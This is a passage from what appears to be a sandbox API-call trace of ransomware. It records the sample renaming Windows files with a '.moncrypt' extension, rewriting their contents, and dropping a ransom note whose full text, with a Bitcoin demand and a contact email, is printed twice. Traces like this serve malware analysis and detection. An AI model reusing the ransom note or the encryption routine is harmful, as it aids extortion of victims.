lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.989] SetFilePointer (in: hFile=0x18c, lDistanceToMove=1046514, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xff7f2 [0054.989] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.991] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.991] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0055.002] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0055.002] CloseHandle (hObject=0x18c) returned 1 [0055.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.018] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0055.018] CloseHandle (hObject=0x18c) returned 1 [0055.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.moncrypt", dwFileAttributes=0x20) returned 1 [0055.018] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0055.018] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.018] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.018] GlobalUnlock (hMem=0x440004) returned 0 [0055.018] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.018] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.019] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.019] GlobalUnlock (hMem=0x440004) returned 0 [0055.019] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.019] GlobalUnlock (hMem=0x44000c) returned 0 [0055.019] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0055.019] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a720, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0055.019] GetLastError () returned 0x2 [0055.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.023] WriteFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0055.024] CloseHandle (hObject=0x18c) returned 1 [0055.024] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0055.025] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.025] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.025] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.025] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.025] GlobalUnlock (hMem=0x44000c) returned 0 [0055.025] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.025] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.025] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.025] GlobalUnlock (hMem=0x44000c) returned 0 [0055.025] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.025] GlobalUnlock (hMem=0x440004) returned 0 [0055.025] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.025] CharLowerBuffW (in: lpsz="WT61ES.LEX", cchLength=0xa | out: lpsz="wt61es.lex") returned 0xa [0055.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0055.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpUsedDefaultChar=0x0) returned 71 [0055.026] CharLowerBuffW (in: lpsz=".LEX", cchLength=0x4 | out: lpsz=".lex") returned 0x4 [0055.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".lex", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".lexShared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpUsedDefaultChar=0x0) returned 4 [0055.026] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0x54e240 [0055.026] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0055.026] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0055.026] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX", dwFileAttributes=0x20) returned 1 [0055.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0055.027] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex.moncrypt")) returned 1 [0055.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.028] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.028] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xa5c00 [0055.028] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.028] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0055.029] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.030] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0055.030] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0055.030] GlobalUnlock (hMem=0x44000c) returned 0 [0055.030] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0055.030] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0055.030] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0055.030] GlobalUnlock (hMem=0x44000c) returned 0 [0055.030] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0055.031] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0055.031] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.031] GlobalUnlock (hMem=0x440004) returned 0 [0055.031] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0055.031] GlobalUnlock (hMem=0x44000c) returned 0 [0055.031] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.031] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.031] GlobalUnlock (hMem=0x44000c) returned 0 [0055.031] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0055.031] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.031] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.031] GlobalUnlock (hMem=0x44000c) returned 0 [0055.031] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0055.031] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0055.032] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0055.032] SetFilePointer (in: hFile=0x18c, lDistanceToMove=678912, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xa5c00 [0055.032] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0055.033] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0055.033] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0055.045] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0055.045] CloseHandle (hObject=0x18c) returned 1 [0055.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.060] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0055.060] CloseHandle (hObject=0x18c) returned 1 [0055.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.moncrypt", dwFileAttributes=0x20) returned 1 [0055.061] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0055.061] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.061] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.061] GlobalUnlock (hMem=0x44000c) returned 0 [0055.061] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.061] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.061] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.061] GlobalUnlock (hMem=0x44000c) returned 0 [0055.061] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.061] GlobalUnlock (hMem=0x440004) returned 0 [0055.061] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0055.061] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41fb28c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41fb28c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41fd8a20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0055.062] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0055.062] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0055.062] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.062] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.062] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0055.062] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.062] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.062] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0055.062] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.062] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0055.062] CloseHandle (hObject=0x18c) returned 1 [0055.063] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0055.063] GetLastError () returned 0x12 [0055.063] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0055.063] GlobalLock (hMem=0x440004) returned 0x550170 [0055.063] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.063] GlobalUnlock (hMem=0x440004) returned 0 [0055.063] GlobalLock (hMem=0x440004) returned 0x550170 [0055.063] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.063] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.063] GlobalUnlock (hMem=0x440004) returned 0 [0055.063] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.063] GlobalUnlock (hMem=0x44000c) returned 0 [0055.063] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d68, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0055.063] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41fd8a20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41fd8a20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0055.063] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0055.063] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.063] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.063] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.063] GlobalUnlock (hMem=0x44000c) returned 0 [0055.064] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.064] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.064] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.064] GlobalUnlock (hMem=0x44000c) returned 0 [0055.064] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.064] GlobalUnlock (hMem=0x440004) returned 0 [0055.064] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.064] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41fd8a20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41fd8a20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.064] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.064] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, 